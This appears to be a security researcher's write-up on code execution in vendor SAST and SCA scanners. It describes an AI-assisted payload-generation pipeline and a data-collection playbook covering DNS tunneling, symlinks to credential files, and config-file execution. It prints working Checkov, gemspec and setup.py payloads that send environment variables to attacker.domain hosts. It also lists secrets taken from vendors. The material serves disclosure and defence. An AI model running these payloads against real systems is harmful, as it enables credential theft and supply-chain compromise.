Stage 1: Crawl. Crawl4AI recursively fetches vendor documentation using a headless browser (handles JS-rendered content), following internal same-domain links up to a configurable depth. We typically crawl docs sites, integration guides, and changelog pages, and keep only surfaces with realistic RCE or blind SSRF potential.

Stage 2: Extract & Predict. An LLM with structured output reads each page and extracts two categories of information:

  • Explicitly mentioned tools (“We support Checkov for IaC scanning”)
  • Predicted tooling based on documented behavior (“analyzes Python dependencies” implies pip/poetry/requirements.txt even if not explicitly listed)

Stage 3: Deduplicate. A stronger model normalizes variants (“Go modules (go.mod)” becomes “Go modules”) and filters vendor-specific marketing terms that aren’t actually tool names.

Stage 4: Compare. The model fuzzy-matches discovered surfaces against our existing corpus, using full context including trigger commands, file paths, and tags to determine coverage gaps. A tool might have multiple payload variants, so the comparison considers whether we have adequate coverage, not just any coverage.

Stage 5: Generate. For coverage gaps, an LLM coding CLI writes new payload generators using existing generators as examples. The prompt includes the tool documentation, the target file format, and examples of similar payloads that work. Generated candidates require human review before they enter the deterministic Python/Jinja corpus.

Stage 6: Validate. This is non-negotiable. AI-generated payloads are hypotheses until proven. Each accepted generator renders a fresh repository artifact with a unique payload ID and run ID; we mount it in Docker, run the declared target tool, and pass only on the matching callback before a timeout. stdout, exit codes, and unrelated requests never count as proof. No callback, no inclusion.

Concretely, validating an npm-preinstall generator looks like this: render a package.json with a fresh callback path, mount the generated repo at /workspace, spawn npm install inside a disposable Docker container, and watch for GET /npm-preinstall-<run-id>. It passes only when the expected payload ID and run ID arrive before the timeout. A zero exit code with no callback is a failure, not a pass.

How reliably a category validates depends on how well its execution model is documented and how stable the tool is across versions. Package-manager hooks (npm postinstall, pip setup.py) are the most consistent; config-file execution (Checkov external checks, RuboCop require) is less so because of version differences; editor and language-server tooling is the hardest, since behavior varies widely across environments.

The Data-Collection Playbook

Across these findings, a small, repeatable set of techniques did the work, and the same set is what defenders need to watch for. We didn’t use every one; the cloud-metadata path below is an available escalation we left alone, because the worker environment already held what mattered.

1. DNS Tunneling. DNS egress often remains available even when HTTP and HTTPS are restricted. Encode your data as hex, chunk it into DNS-safe labels, and query:

{index}-{total}.{hex_chunk}.collect.attacker.domain

The attacker receives the DNS queries, reassembles the chunks, and decodes. This can bypass HTTP-only egress controls when recursive DNS remains available.

2. Cloud Metadata APIs (an escalation we mostly left alone). The credentials in these findings came out of the worker’s environment variables. We didn’t routinely reach for the cloud metadata service; where we touched it at all, it was a minimal check on a vendor’s request to demonstrate impact. It belongs on the list as a surface defenders have to close: with code execution in the worker, the link-local instance-identity endpoints (AWS ECS task roles, GCP, and Azure managed identity, each gated by its own headers or parameters) are a well-known next step that can expose credentials carrying whatever permissions the worker identity holds. The environment variables already held what mattered, so we stopped there; a real attacker would not.

3. Symlink Traversal. Create a file that’s a symlink to:

  • /proc/1/environ (container environment variables)
  • /proc/self/environ (process environment variables)
  • /var/run/secrets/kubernetes.io/serviceaccount/token (orchestration service account)
  • /root/.aws/credentials (cloud credentials file)

A tool that follows repository symlinks without target validation can disclose any target readable by its process.

4. Config File Code Execution.

  • Checkov: .checkov.yml with external-checks-dir pointing to a Python file
  • RuboCop: .rubocop.yml with a require directive loading arbitrary Ruby
  • ESLint: .eslintrc.js, and the flat-config eslint.config.js that replaced it in ESLint 9, is JavaScript that gets executed
  • Gemspec: any .gemspec file is evaluated as Ruby
  • setup.py: executed to extract package metadata
  • Terragrunt: repository-defined hooks run commands during processing

These are all features, designed for trusted environments. They become vulnerabilities the moment the repository is untrusted.

Vendor A

Vendor A also used Checkov and was vulnerable to the same external-checks-dir payload. Their environment and their remediation differed from Vendor B’s.

Same two files, with the check sending data out over DNS instead of HTTP:

.checkov.yml

external-checks-dir:
  - checkov_checks

checkov_checks/extra_check.py

import os
import socket

# Gather environment via DNS tunneling
env = "\n".join(f"{k}={v}" for k, v in os.environ.items())
hex_data = env.encode().hex()
chunks = [hex_data[i:i+50] for i in range(0, len(hex_data), 50)]
total = len(chunks)
for i, chunk in enumerate(chunks):
    try:
        socket.gethostbyname(f"{i}-{total}.{chunk}.hex.our-domain.com")
    except:
        pass

# Still need to be a valid Checkov check
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck

class CanaryCheck(BaseResourceCheck):
    def __init__(self):
        super().__init__(name="Canary", id="CKV_CANARY_001",
                         categories=[CheckCategories.GENERAL_SECURITY],
                         supported_resources=['aws_s3_bucket'])
    def scan_resource_conf(self, conf):
        return CheckResult.PASSED

check = CanaryCheck()

The snippet above is the environment-dump portion, simplified for the write-up. The check we actually ran also prepended some quick recon (whoami, a process list, installed binaries) behind === SECTION === markers, ahead of the environment dump. Vendor A’s scan environment ran in a restricted serverless setup that blocked outbound HTTP and HTTPS, so web callbacks never completed, but DNS resolution was allowed and the data left in the query names. These are real DNS records from that scan, with the collector host, source IPs, and most of the hex-encoded payload redacted:

[0-562.3d3d3d2057484f414d49203d3d3d0a…redacted.[oast-id]] DNS interaction 2025-12-29 02:10:11
[1-562.…redacted.[oast-id]] DNS interaction 2025-12-29 02:10:11
...
[561-562.…redacted.[oast-id]] DNS interaction 2025-12-29 02:11:49

The leading 3d3d3d2057484f414d49203d3d3d0a decodes to === WHOAMI ===, and the reassembled stream ran that recon (whoami, processes, binaries) into the full environment, which is how we confirmed code execution.

Cloud credentials (full session):

  • Access Key ID, Secret Access Key, Session Token
  • An IAM role scoped to the SAST workload
  • Account ID and region

Internal secrets and configuration:

  • Internal service authentication secrets
  • Credentials for third-party operational services
  • Internal service URLs

Vendor A was as exposed as the others, and fixed it structurally rather than patching bypass by bypass. In their own internal build of Checkov they removed file-based configuration support outright: it no longer reads a .checkov.yml or .checkov.yaml from the scanned repository (or the working or home directory), so a repository-supplied config can’t load external checks at all. That retires the whole class instead of the specific bypass.

Vendor C: Ruby Gemspec Evaluation

This vendor’s SAST platform supported Ruby analysis. Ruby gemspec files are just Ruby code. When gem tooling processes a .gemspec, it evaluates the file.

canary.gemspec

# Gather environment variables
env = ENV.map { |k, v| "#{k}=#{v}" }.join("\n")
env.unpack1('H*').scan(/.{1,50}/).each_with_index do |chunk, i|
  begin
    system("curl -s 'http://env#{i}.#{chunk}.attacker.domain'")
  rescue
  end
end

Gem::Specification.new do |s|
  s.name    = 'canary'
  s.version = '0.0.1'
  s.summary = 'Test gem'
  s.authors = ['Test']
  s.files   = []
end

The gemspec executed during analysis and sent the worker’s environment back to us. Everything below was sitting in those variables:

Cloud service-account token:

  • The complete access-token value for the analysis service account; its scope was not enumerated, and we did not exercise it

Orchestration service-account token:

  • Full JWT for the analysis namespace (scope not enumerated)

RSA private key (SIGNING_KEY):

  • A full RSA private key exposed in plaintext as the value of a SIGNING_KEY environment variable
  • We did not determine what it signs. The variable name suggests a signing role; any forge-signatures impact on commits, tags, or releases is conditional on that and was not vendor-confirmed

Internal infrastructure:

  • RabbitMQ credentials with full connection string
  • Redis cache access
  • Analysis storage-bucket details

This illustrates the challenge: tools designed to analyze code often need to evaluate it, creating the same execution risks they’re meant to detect.

Vendor D: Python setup.py Execution

This vendor’s main product was software-composition analysis, and that primary SCA path didn’t trigger our payload. What did was an ancillary SBOM-generation service running alongside it, a secondary collector that needed package names and versions and, to get them, ran:

python3 setup.py --name --version

That’s Python code execution. Loading setup.py runs top-level Python before setup() ever returns metadata.

setup.py

import os
import urllib.request

# Gather environment variables
env_data = "\n".join(f"{k}={v}" for k, v in os.environ.items())
for i, chunk in enumerate([env_data.encode().hex()[j:j+50] for j in range(0, len(env_data.encode().hex()), 50)]):
    try: urllib.request.urlopen(f'http://env-{i}.{chunk}.attacker.domain', timeout=2)
    except: pass

from setuptools import setup
setup(name='canary-package', version='1.0.0')

The payload called urlopen(); we saw the DNS lookups for every attempt, but the HTTP request itself didn’t complete, and we did not determine the precise vendor-side egress control. The data still left, carried in the hex-encoded hostnames the resolver looked up.

Cloud credential endpoint:

  • The worker environment exposed the container-credentials locator, the path a task uses to fetch its IAM session token, not the token or keys themselves. Retrieving the live credential would have meant querying the metadata endpoint, which we did not do.

Vendor’s GitHub personal access token:

  • The vendor’s own PAT, present in the worker’s environment. This was an internal provisioning credential, used to build and ship the vendor’s own code, not a token for cloning customer repositories. We did not test its scope.

Vendor’s Docker Hub personal access token:

  • The vendor’s own registry token, likewise internal to its build pipeline. We did not test its scope.

Internal service references:

  • Several internal service names (identity, source-control, cloud-connector) sat in the worker’s environment as strings, not a mapped network.

These two tokens are the finding here, and they point inward, at the vendor’s own supply chain rather than its customers’. They were the credentials the vendor used internally to provision and build its code. If the GitHub PAT carries write and the registry token carries push, an attacker who lands in this worker could push to the vendor’s internal registry, tamper with its build artifacts, or read its proprietary source. That is a compromise of the vendor’s own pipeline, and through whatever it ships, of everyone who runs the vendor’s software. We did not test either token’s scope or exercise them.